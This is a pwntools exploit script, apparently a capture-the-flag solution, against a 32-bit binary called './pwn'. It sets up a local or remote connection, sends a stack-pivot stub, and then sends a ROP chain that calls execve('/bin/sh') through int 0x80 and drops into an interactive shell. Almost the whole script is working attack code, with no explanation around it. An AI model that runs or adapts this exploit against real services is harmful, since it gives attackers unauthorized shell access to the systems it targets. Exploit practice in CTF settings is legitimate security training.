1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
|
from pwn import * import subprocess
local = 1 host = '127.0.0.1' port = 10000 context.log_level = 'debug' exe = './pwn' context.binary = exe elf = ELF(exe) libc = elf.libc
if local: io = process(exe) else: io = remote(host,port)
s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) ru = lambda delim,drop=True : io.recvuntil(delim, drop) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr)))
def one_gadget(filename): return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def exp(): sla(":", "3") payload = asm(''' mov esp, ecx ret ''') sa("!", payload) sla(":", 500) gdb.attach(io, "finish\n finish\nn 5") sh_addr = 0x080c777d int80 = 0x08049903 pop_edx_ecx_ebx = 0x08072fb1 pop_eax = 0x080c11e6 shellcode = flat([ pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, 0x80f6cdd, int80 ])
sl(shellcode + '\x00' + '/bin/sh\x00')
if __name__ == '__main__': exp() io.interactive()
|